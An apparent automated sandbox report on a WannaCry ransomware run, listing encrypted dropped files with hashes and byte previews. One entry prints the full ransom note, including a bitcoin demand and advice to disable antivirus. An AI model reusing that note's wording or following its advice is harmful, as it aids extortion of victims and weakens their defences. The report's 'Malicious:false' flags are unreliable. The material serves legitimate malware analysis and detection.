                                    Preview:WANACRY!....._se..;..o....=+.F.|.A..X.f..N.sA..%...%.]..Rf&.K#d.{J..BW._w..-).....j..k..<w'1x.&4(l...3...'..12.&.#...j r.@$&.|..`b..}.F1....|.....w........O}......M ..:vA.$.....uw...Z.,.Tt.i.....Z.LPi._..O9..Vd~....87.....{&.0.A.3.+....K%h..X..d.7.N.................k...^?.mu...+/d..V..5.W...........e....rvy@..._......{.......&<....p.......a...T.>..I.$f..u.gU5.<.9f.k...H.6JW......O...v.c....4CM.Gr.$l..:/.B.c.A.......OA8P......if...P...SU4]....<.4.p.......A$...H..A...=.10gXc...E.j.^.....Ao9c\g-!8...7.!=gF$.L....<.......y.)...l.......,..*DC..T.P.........M&.^...b.8n".M=G.....C...c+..G.k......P3.....XKF .J..kl...:p.(.r@C...9.^.#s.T....iTg~..xa...;R..6..Qg_.T.Y..J..Z.I...)....v.t6.Z++Mu.{S8)..."..{m..h...93.W..;.R...Y.i%\._P.....*c.l.Fa.}..p....I,....2l.}.....)p......>...bR....uEG.9.0"..h.S.....m}..D.+..6..Y.[.R...L)...*..}....9X............~....d..U...7......q...V.".m.*....#5........M,....b.\.M..{.z.R`.........vr2...d/.3..#.VG.U.>.@K....dy

                                    C:\Users\user\Documents\SNIPGPPREP.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.842248171176425
                                    Encrypted:false
                                    SSDEEP:24:bk7jKYdX2TObl4tyt8fQRF5pGM8WYWRIs2q6dG0XIyKAxivPQip:bk7DmTOmyCoRwM8WYyIsEG0YSY/p
                                    MD5:D730F1F5645B783D289A9CC6187D3310
                                    SHA1:80CEE362F8B65DE398AD9CA6DBBA41242025359D
                                    SHA-256:535178AC771D99530FAD008EC98B87E30D8B917E8E8A1C554E18F0BD2C3190FF
                                    SHA-512:3DE29480EA69978E04C6A8F3D543B6FD7524A10E49D2DD947D4A310A242795D0A6B42260CBC40B0255ED286E484F769FA6F52FF14F2E5BD8640497081C36F0BF
                                    Malicious:false
                                    Preview:WANACRY!....._se..;..o....=+.F.|.A..X.f..N.sA..%...%.]..Rf&.K#d.{J..BW._w..-).....j..k..<w'1x.&4(l...3...'..12.&.#...j r.@$&.|..`b..}.F1....|.....w........O}......M ..:vA.$.....uw...Z.,.Tt.i.....Z.LPi._..O9..Vd~....87.....{&.0.A.3.+....K%h..X..d.7.N.................k...^?.mu...+/d..V..5.W...........e....rvy@..._......{.......&<....p.......a...T.>..I.$f..u.gU5.<.9f.k...H.6JW......O...v.c....4CM.Gr.$l..:/.B.c.A.......OA8P......if...P...SU4]....<.4.p.......A$...H..A...=.10gXc...E.j.^.....Ao9c\g-!8...7.!=gF$.L....<.......y.)...l.......,..*DC..T.P.........M&.^...b.8n".M=G.....C...c+..G.k......P3.....XKF .J..kl...:p.(.r@C...9.^.#s.T....iTg~..xa...;R..6..Qg_.T.Y..J..Z.I...)....v.t6.Z++Mu.{S8)..."..{m..h...93.W..;.R...Y.i%\._P.....*c.l.Fa.}..p....I,....2l.}.....)p......>...bR....uEG.9.0"..h.S.....m}..D.+..6..Y.[.R...L)...*..}....9X............~....d..U...7......q...V.".m.*....#5........M,....b.\.M..{.z.R`.........vr2...d/.3..#.VG.U.>.@K....dy

                                    C:\Users\user\Documents\UNKRLCVOHV.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.828525146339955
                                    Encrypted:false
                                    SSDEEP:24:cn6FUykpaxbyO6kESkbmscsqW6ddP5daZ0MstpD8gM:cn6FUsJi96ddBdaHstpDm
                                    MD5:04F24F684532A5B02A96EC4E482B7138
                                    SHA1:32912E9514EB3AEBB8EC98EE1A9D96E7739B8D04
                                    SHA-256:A2DB1D515C82EFAD1E4E302B84CF243253554D507E973FE682381918E331866A
                                    SHA-512:D5CE3897F4C2479531A2EDFB071750A75B13D7F111962A0CB892A2EB18AC016F56B123E59A8047CBB2245F25FB0178898477FB723B7E7E7D6DEC4E9D9F831F17
                                    Malicious:false
                                    Preview:.R;.ZEU.......2.G..Ll>.aS.q.&...a...%+t..p..m.}m.v$~z.....M..:Fl..'.y.~.0...3)Y4.|.....j.Q. ey...(e.cw.".Z/E...Jt.....9..= ..".<....h.u.N........O7.@.d.7.KZ ........a......Vh.T.{_..lXW..../...Y....{..^.....S.....c.|........s..F...F$R....#.........\........#........B7:.-.........~1.....2:.4.....i........HA.... ..J.G..*.&XI..Q.~5.esNo7..=)\m....kT....Y..W?.Z*.,.>.Z....1.0.SQE.....[.x..$TP.^ogf{D7...r.`.\..e..J.n.....L%-..2}...e?........]J.,....I.k`C.f..5..ol>.h.q.C.!....}...N4..rAF.1.A]D.q...&...F.k.-...+...G.....S..?..*....a.l+B.%j5.Y#.yq/....S'.KM...MK..0Ir..3.M.b.....Y[uQ.'SW|.o....W.S3.3....m...c\...'...JPn.......j;,w.-..D...t......E_...i...C..C:.....=_G.]..-.4TF.(..r........Bk..q.y..o9Iv.#.C..3__...l;.R..^......s...Gd......8..69......8.S........>(.b..^.]5."q[...?..9Wf:..=e.4...2yd.?P.."....*.D..._....`....=.....d...l.....X....]....h.4.f[.q..'a...CV..A....G....f.\l)VE0...;.......=.(..k>$v..=i{..,.).Qs................Cw.|.W.G".........

                                    C:\Users\user\Documents\UNKRLCVOHV.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.835711054057793
                                    Encrypted:false
                                    SSDEEP:24:bk5QHLLfyNlI449cTU4zzpoKjhUiYx67RRaPhp5PgQ94duLwR3DWS+cFVe5:bkNnI449ynmr2qj5PX4V3JFV6
                                    MD5:7737910A9F81331B1FE633884AC48538
                                    SHA1:CD1E70C6AB80CC72B03A7F5D629C75585C922556
                                    SHA-256:E6521B79D834618C5DE05759F70691095756B8A0E838512983D5F02DD995C31B
                                    SHA-512:56C41FA35493BDE97048BC6E6EB3D1235C0A879B5AAA8B6FDEA4D17BA775A9504E29331B9D66E90A9589A293EE01D4A91A36E3CAD6E47629A652A26A8C355760
                                    Malicious:false
                                    Preview:WANACRY!......9q.lE.w..........p......V.:.nA...s...\-.o....y..AG..O9...7....F.e.Iu.JP?". <....6..15..X.x..1~..3......W6.;...........l.v."t.Q.W......_..J..p.........q....]..,9......0d{...I.WGh1.s.........y.\Y.7v.e.<..w".......ruA.....az.(..~.53.;RDa.....6.vp{.............(.S.'.y..X...++#....d. ...W..:.....G..IT .j.6..u..4....|..&`...5.:!...!...<...k.".....s{j..|..S/b.......n...'..bJ.0."V.H.dc"..........Y].C.....`E.g....P;~./....l.@8......Z......q...6q....&".(.e......r...O... P..uG^...I.B.V.}.86...H....R.T.R...l.....I..........U.0..d{(.K{.$.P.4.....g]E|...'.....u.|..:..7:.F...u..|GO'U.0H./...w...*\8.:k..Ub.DsslP..M......."..|..n..K..3..%.3..i.f.&^.cf.H.0K3....H.KR...g....L.{axYC2..fzH9........e.......$......R....a...{d2@.PD..1X.Gg.\.2...ablEXn....hBO..a..\..[.F....@u.....BrU[.m....b&...Q.......U..8.A./..wG.@......H..E.7j?e.2..f ..|R...=@D.K.o...`>....P....r#.j..[.J._aA..T.......A.K8h8.EFD.e6<..q......<.R.vY.~..&.2y.\e..A....THZ..e#3.=........B...

                                    C:\Users\user\Documents\UNKRLCVOHV.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.835711054057793
                                    Encrypted:false
                                    SSDEEP:24:bk5QHLLfyNlI449cTU4zzpoKjhUiYx67RRaPhp5PgQ94duLwR3DWS+cFVe5:bkNnI449ynmr2qj5PX4V3JFV6
                                    MD5:7737910A9F81331B1FE633884AC48538
                                    SHA1:CD1E70C6AB80CC72B03A7F5D629C75585C922556
                                    SHA-256:E6521B79D834618C5DE05759F70691095756B8A0E838512983D5F02DD995C31B
                                    SHA-512:56C41FA35493BDE97048BC6E6EB3D1235C0A879B5AAA8B6FDEA4D17BA775A9504E29331B9D66E90A9589A293EE01D4A91A36E3CAD6E47629A652A26A8C355760
                                    Malicious:false
                                    Preview:WANACRY!......9q.lE.w..........p......V.:.nA...s...\-.o....y..AG..O9...7....F.e.Iu.JP?". <....6..15..X.x..1~..3......W6.;...........l.v."t.Q.W......_..J..p.........q....]..,9......0d{...I.WGh1.s.........y.\Y.7v.e.<..w".......ruA.....az.(..~.53.;RDa.....6.vp{.............(.S.'.y..X...++#....d. ...W..:.....G..IT .j.6..u..4....|..&`...5.:!...!...<...k.".....s{j..|..S/b.......n...'..bJ.0."V.H.dc"..........Y].C.....`E.g....P;~./....l.@8......Z......q...6q....&".(.e......r...O... P..uG^...I.B.V.}.86...H....R.T.R...l.....I..........U.0..d{(.K{.$.P.4.....g]E|...'.....u.|..:..7:.F...u..|GO'U.0H./...w...*\8.:k..Ub.DsslP..M......."..|..n..K..3..%.3..i.f.&^.cf.H.0K3....H.KR...g....L.{axYC2..fzH9........e.......$......R....a...{d2@.PD..1X.Gg.\.2...ablEXn....hBO..a..\..[.F....@u.....BrU[.m....b&...Q.......U..8.A./..wG.@......H..E.7j?e.2..f ..|R...=@D.K.o...`>....P....r#.j..[.J._aA..T.......A.K8h8.EFD.e6<..q......<.R.vY.~..&.2y.\e..A....THZ..e#3.=........B...

                                    C:\Users\user\Documents\UNKRLCVOHV.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.799611754987633
                                    Encrypted:false
                                    SSDEEP:24:lPIREs9vZ2Tq75eUWW81BWfYsaExd28vuYbDeXbrI:2nRSU5eUWdzWghWd28mYnerk
                                    MD5:D34B179D6D37EF28565621EF1204E537
                                    SHA1:166B6A9E5A6F8B244734D838429EA17D647E1532
                                    SHA-256:726F9BC290F55FC6E76C8DC34E5D6D1E81FC5F72D2F6BAA80A363B6BE02561BB
                                    SHA-512:A125901BD7804DF9AEA9F6D3025C6E011EB82EA0C8A4C95A002B4914856BBE1FA318DEBFC70EF3B83BF96680DB0223A1A0ACA3893C2C7B40C5F5E7D5233ED8A3
                                    Malicious:false
                                    Preview:. .}.....A.1..Y..A.L..."...|.o.......c'..(jh.HR<r.!.*..7'x....<BX...uC....bz..:gAi.k.k....P....kb.fO..93.N,.....1.b...{..%f.}Z.,..$.._s.}...4o.mE........mu?..A8..E%@.U.m5.....qx....-{Od8f..$...'..3.:,..%.*7./......@.PZF<N...]p....D.0.).....e.E.G...{I...e.Em.......&."%].v.SB.y.o.e..4..t.x.j.Y>N.!...W...?.iN4...X".....%....jE.&...A~...J.i..s......bn[../.L.*.L.=. ...\.x...PWf...xc'.I..5..R.U(]......Ex....d....vE.}uZ.7.X..g.hH..M.....^.n...3g=.ga1..CJ.n.c.I...Q.+>...or#..|.].....'/.ByeO2...g...U...0....;+..UI..Q>2....(.x.:..#.a..f..a....... D.....C.....Y..c...;..\..%Z.0?.-../1. .[@g.>{.....4Q.o#......[..2sp.bT...6....`gX.....Z...^......o..z.HV.8.R]S@.,..z.Se1..B.#s..(..J....$yX(..%M.S...C.....;....0....L....r.g|pi..0......(.~.y'...\...u......g.R+...ra.^..|.-.^9.P1.CY,_N..X.....6.^`v..>.&Y.....7A.....qN...Y.F....+..Y..StG....X@Nz.".T.!..~.:g....+Z>'...z9.........jt......9.......:......2.b.U.....c...}...V.4R.../t.H$'A.D......zy.m4.D..t..{\i

                                    C:\Users\user\Documents\UNKRLCVOHV.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.831936009091925
                                    Encrypted:false
                                    SSDEEP:24:bkJBxQteQdrer5XodZm0TwjIeVqF/jEOvuQv0qtZb+/p1RxtxbzK6ohtlan05H5t:bkVQ46oodZm0TwMng4uQsOZb+/zXzNCJ
                                    MD5:88CD68AC67124A5B516838D860089E65
                                    SHA1:C6CBE9C8EF5937B9CA53129FBB472DEB38550BA7
                                    SHA-256:486FB107277167286908C71B38B801ADAB4CB99C12665975A99224FF4902C56C
                                    SHA-512:81D09820050EC54ECA4B345842465C80BE0C9372B6091A2223ABFA7B827319AC41064F0318E22451653C6DAA165C888921BCEBC93284D75BD3ECDE004BE81E18
                                    Malicious:false
                                    Preview:WANACRY!.....Mj*.....S.$..3..IX..&S.J..&._Sr@.......C..v#.....y^..Q8.'...~...*..0..Y$.lS.~#.;6...cj..;.XT....-FZ....@...E.F.y....F+.^.i.....F&f.....33....O...N..Rp...Y-0-z+.K.../|g.'}.B.....3..... _cA.f(c"...8X..-.3(Q.........G8..s.J6W.d....+ ..A..{sR...Z.P.............QUh.9)O..Ie. y..M.=c.d...g.Y..L.%.|..5.2..H&.Z..=...N.l.p..3..<......J jhX.6j ..2gAz..?..O.R.....p.8...>%<.....c[Y$...V...R...5...z.a...t9'....w...R..i...,j.`.{....QI.4..r...Y..l/0..<S.Z......9Z..a.k.8.s|d......d..MXxl....Uz.U.%.\O....Z..\WU...sCv|. .....2x.P.4.F....c"..;E..H/mru0}2...k..<jg.............1......Iv,yT.E...iVn.[0....f...c..x..7..cL..'3.R[3UH4..F.<.6.3.S...93.).+..%.l.....f....f..Zo.o.....E..Ht...P......Z.#..h...}.....Q..)o..9..XP....O.0.\.Q@....P.......B........F..9...j#..<S..iH.d..#...C........h..3.n.B...?.r.>..?.v%L..HA..V4.L.x5W..+.A.HX.dCZ.m...0....^W.t|...P.J....{....A.......k.).L56SDo.j...'.._aY...A.w\O.q0..UG,.3.s...[1.;f+.SA.C"..W.j..7.'R2.....tK..M..

                                    C:\Users\user\Documents\UNKRLCVOHV.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.831936009091925
                                    Encrypted:false
                                    SSDEEP:24:bkJBxQteQdrer5XodZm0TwjIeVqF/jEOvuQv0qtZb+/p1RxtxbzK6ohtlan05H5t:bkVQ46oodZm0TwMng4uQsOZb+/zXzNCJ
                                    MD5:88CD68AC67124A5B516838D860089E65
                                    SHA1:C6CBE9C8EF5937B9CA53129FBB472DEB38550BA7
                                    SHA-256:486FB107277167286908C71B38B801ADAB4CB99C12665975A99224FF4902C56C
                                    SHA-512:81D09820050EC54ECA4B345842465C80BE0C9372B6091A2223ABFA7B827319AC41064F0318E22451653C6DAA165C888921BCEBC93284D75BD3ECDE004BE81E18
                                    Malicious:false
                                    Preview:WANACRY!.....Mj*.....S.$..3..IX..&S.J..&._Sr@.......C..v#.....y^..Q8.'...~...*..0..Y$.lS.~#.;6...cj..;.XT....-FZ....@...E.F.y....F+.^.i.....F&f.....33....O...N..Rp...Y-0-z+.K.../|g.'}.B.....3..... _cA.f(c"...8X..-.3(Q.........G8..s.J6W.d....+ ..A..{sR...Z.P.............QUh.9)O..Ie. y..M.=c.d...g.Y..L.%.|..5.2..H&.Z..=...N.l.p..3..<......J jhX.6j ..2gAz..?..O.R.....p.8...>%<.....c[Y$...V...R...5...z.a...t9'....w...R..i...,j.`.{....QI.4..r...Y..l/0..<S.Z......9Z..a.k.8.s|d......d..MXxl....Uz.U.%.\O....Z..\WU...sCv|. .....2x.P.4.F....c"..;E..H/mru0}2...k..<jg.............1......Iv,yT.E...iVn.[0....f...c..x..7..cL..'3.R[3UH4..F.<.6.3.S...93.).+..%.l.....f....f..Zo.o.....E..Ht...P......Z.#..h...}.....Q..)o..9..XP....O.0.\.Q@....P.......B........F..9...j#..<S..iH.d..#...C........h..3.n.B...?.r.>..?.v%L..HA..V4.L.x5W..+.A.HX.dCZ.m...0....^W.t|...P.J....{....A.......k.).L56SDo.j...'.._aY...A.w\O.q0..UG,.3.s...[1.;f+.SA.C"..W.j..7.'R2.....tK..M..

                                    C:\Users\user\Documents\UNKRLCVOHV\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\Documents\UNKRLCVOHV\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\user\Documents\UNKRLCVOHV\AQRFEVRTGL.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.797125248625399
                                    Encrypted:false
                                    SSDEEP:24:TZTB2gkp2eZIjOAcSx8KBiGNhnxeoyQMDFOWMu1Xe1lHqb:TZ12gkp2eZZg8lGNhnxeoBMRLylA
                                    MD5:692619ADEC840B37B1047366776DA46A
                                    SHA1:C29E6CABB99639D333E423986A2F393927A1EBCA
                                    SHA-256:577151013044DB4DA4BA4FA55E6BB7FD711F321A9EAB93D9AE434F2612ABEE97
                                    SHA-512:EFAB0E5CC4364B4D97BD05BBCCB1F195257EAB809B5AB673D0DDFE1CF2E4DCFC5E4647F92DE43FA832C46C6CB88CF15CB8758F25E3CB85D56E9733E4940A1286
                                    Malicious:false
                                    Preview:}z..........=..z..'.<9....]......A..XE.@...9..w.......6...\,.M.....f4...].7."R..3.*,...."..W.~.'.A......[Sr.....z2. %.{G.....G..Y.0..d..u..3........7..}v._mz........}.......SD.He.....?..N..R.}.k....\t.....*u >..+u|...`.N.$..\.`.>.J..L.F....8...v..i..Wp'.O.D>D.......<x9Y.VjA^......g.[s.Vb...........R{4..KJ.p... ..{.3.f.].L.'.h$.sx)..5.I.U..D.......6L.oV^.>y.....O...2n....m`.p.......j;..:.V.......+n.&.i..U....o&..Fr.L{.....B...8.<..j.-...:N....m.c.Y.Me...$..>...6..v..f...%y+.<...../,..Q...'.l.].P....9dT..k.X.qG1 g.4.......J.XV.......PQ/&.0..V.F.i..8a......B....;..$M0x...Ws.....".OEN.{N.mq.......!%rg.'..."....8.Dx..P/.R~q...O.{...."b..QQ.,t3..t. ..R_.s..LH>.}..D.........#r..;..9H}P_v...2...S...`9S^">+....Wb......P..&O.f.s...$.8........77..2..".G[O.h.7....!.w.B....]>..^.@..W.}...d.E.Y..qH.24[4Q4.T....&......[...L<]....ao..3..P+sG.0.\x..h.3Y+ak....,./.i...`...7}6k...........3B..b.mx1..%,B........rS.....[2dGtp9{Pc.b..jN.!...\...../.. ..

                                    C:\Users\user\Documents\UNKRLCVOHV\AQRFEVRTGL.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8338332963165245
                                    Encrypted:false
                                    SSDEEP:24:bklKK9igtL2GaoLLclemENvblwQ2jcvL7GxDcdJPdq4zd2MfeED1XL4RdYz:bkl99hCfIclemExnfGZmdTxnfeEDmE
                                    MD5:5EF356E92D7B6699B7B767A364D0619C
                                    SHA1:183B4174555D73448370A86DD16C280C0DCBC5CB
                                    SHA-256:DEAB9A95F908A02A9AC93F381AD544E22CF922A320DF5315976FC1E437140574
                                    SHA-512:A1F6CE0A7FC2349C364088D0121C59F066200203F451C481C0A12469A2FEDA408D505CC44B93FB791E73813AA193C730D26770EE261E031A111E7BB298B65B81
                                    Malicious:false
                                    Preview:WANACRY!....e.Sh...>}....@...X...5.<..ZU.*.x...e&.}z..W.Z..^/..AX.p5~o....}ee.....K;.r}M.....E....oJ..H....7....je.....y...Q.~FU.N..,6FQ..dZ.q.de..D.T$S...l....<.....E..c..<.Q.,..#. Tg.jG.....U.~DD&I./%.U.8b+...U9U.:..n..y;'.v.{#<.......S:...|.........k&..............S?.'.....$)..8Cl3.4.]g...D.41...R.jnC...X....0%..[.r.w/.sYWf.I..W|...>.....I...n.3h.i...8..D.9.1..=.@1O*T]@.I..]..v...x./......$..d..33..i#..=Qk,u.f......-.@.5~...,.....\z).k%.@rZeelb.D..A.7..x.9.............-...n.7.a.L..k...*..Y.W..x.!.vE...,....\.}|.|'.....vV.@....Rd.R..:_H/...U........#..R6".|cc.......FF.....y.e*.k......r...q.1..x."..y.s...D..q.Jr......a'7.......r....W..3E.........3.......&1.B.V..2...6x.....f2z..M'....,.FFm.|.......5.R..Xa.m.4g...?O;c<x_Mb.w^f..CF.5.O...g./.{......-.....S.X.V.s(....yR.|8..D....y2D7.h&a..u...._.oH...Y."....S.....F....Q..@;v.c.....v.vx..|fP..G..........Q....I..x..=...O..@*.q.....`.z...........5.",.(3......pV..R.z..A.....^.......-.k.K..gG-.v.C..V.|

                                    C:\Users\user\Documents\UNKRLCVOHV\AQRFEVRTGL.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8338332963165245
                                    Encrypted:false
                                    SSDEEP:24:bklKK9igtL2GaoLLclemENvblwQ2jcvL7GxDcdJPdq4zd2MfeED1XL4RdYz:bkl99hCfIclemExnfGZmdTxnfeEDmE
                                    MD5:5EF356E92D7B6699B7B767A364D0619C
                                    SHA1:183B4174555D73448370A86DD16C280C0DCBC5CB
                                    SHA-256:DEAB9A95F908A02A9AC93F381AD544E22CF922A320DF5315976FC1E437140574
                                    SHA-512:A1F6CE0A7FC2349C364088D0121C59F066200203F451C481C0A12469A2FEDA408D505CC44B93FB791E73813AA193C730D26770EE261E031A111E7BB298B65B81
                                    Malicious:false
                                    Preview:WANACRY!....e.Sh...>}....@...X...5.<..ZU.*.x...e&.}z..W.Z..^/..AX.p5~o....}ee.....K;.r}M.....E....oJ..H....7....je.....y...Q.~FU.N..,6FQ..dZ.q.de..D.T$S...l....<.....E..c..<.Q.,..#. Tg.jG.....U.~DD&I./%.U.8b+...U9U.:..n..y;'.v.{#<.......S:...|.........k&..............S?.'.....$)..8Cl3.4.]g...D.41...R.jnC...X....0%..[.r.w/.sYWf.I..W|...>.....I...n.3h.i...8..D.9.1..=.@1O*T]@.I..]..v...x./......$..d..33..i#..=Qk,u.f......-.@.5~...,.....\z).k%.@rZeelb.D..A.7..x.9.............-...n.7.a.L..k...*..Y.W..x.!.vE...,....\.}|.|'.....vV.@....Rd.R..:_H/...U........#..R6".|cc.......FF.....y.e*.k......r...q.1..x."..y.s...D..q.Jr......a'7.......r....W..3E.........3.......&1.B.V..2...6x.....f2z..M'....,.FFm.|.......5.R..Xa.m.4g...?O;c<x_Mb.w^f..CF.5.O...g./.{......-.....S.X.V.s(....yR.|8..D....y2D7.h&a..u...._.oH...Y."....S.....F....Q..@;v.c.....v.vx..|fP..G..........Q....I..x..=...O..@*.q.....`.z...........5.",.(3......pV..R.z..A.....^.......-.k.K..gG-.v.C..V.|

                                    C:\Users\user\Documents\UNKRLCVOHV\BXAJUJAOEO.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.798235475139515
                                    Encrypted:false
                                    SSDEEP:24:7OH/C47upc5VfX1e9MhDT+iEsW1iz1kOkIyFyK3Kr4/L:7S/CgVfX1eeVT+xIqOkbFcrgL
                                    MD5:46ED4E5FF0E18B63D158923AA7A31B4F
                                    SHA1:589EA0CFF042162E5E7D17E99CC91ED12C189771
                                    SHA-256:4F3ECF1029F83D46D4E34D19F80586229CC461F422DC741984AF2FACD4855A5A
                                    SHA-512:00F2636B2E070BBD7D06DD62D8DD75DA8B30369CF75E085C3795D91B544A1BA995C52AAA6476F4B951BF2FFC2DDD2CD2348C27B22A70E9B2CCA64A7CAA2D0CE8
                                    Malicious:false
                                    Preview:.....~..>..=.i-..+.#....$.:.,..OU2w.m..............!...IU.....Wz.j.%...}GC..b.$......r...^AU..T.KA].p...*....].a.}..z.-)*.Qr@...QO6t.8..`u..........I...Xo/(."@.I8...{;.'.>..S.P....9...%.GqbSK.).H.'.}...\...-|Z.._..m&~./...SD._\U......k....p..u.. C.......*.q(u.I8A.PgyI..g.-..c}..K.O.. J..,...p..D.K.^.kzqq....[..i...X...C.$VX^h8d.G].c..W......"O{...t.E...0.k^q.6..z.b..b!.Pa]pV...T.....tDt.>...u.....[...hn...E.S]...8...&.G....;.Y.d..M....~...^........?~V.K..=..F.z.qYG..X.....a@...~o...o...:.....kNQ...R..z:.z..b......mo;.h.....~:..+..,.X.~HW.7.....}.,O7..`M}J..."*=.g......64.l.'..F.o..4.VN.t.!Y.e..G.....p...2R...e..{j.Z.}.$fE.K.,r.Y..b`.......l.....n.L.?....|...9..u...`.FAS......,..x.....y..j..-...W.=I.pb.1<.....i..@.....f.T.....0.....Z{.|l.4.l=l.......`]..?.).4[*_.r..../..q....R.P.I.K.#...7.q.V'....;?9..G8....n#^..E......n..LM6...z...-\.p.*O.. .c.....4.%..u...._....v."&g..S..e3i..J..\[.+a`b./'......GG.`...b..5..2-;.."-s."{I....

                                    C:\Users\user\Documents\UNKRLCVOHV\BXAJUJAOEO.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.846103063624358
                                    Encrypted:false
                                    SSDEEP:24:bkGIGFmg4UZTvKLtnQ7u8MN/ecPt596obcfn8W7N+zzBY5ooq:bkOFNCLtQC3Wif6Zn82NTA
                                    MD5:75FC796599F6209B48BF246A0044A1B7
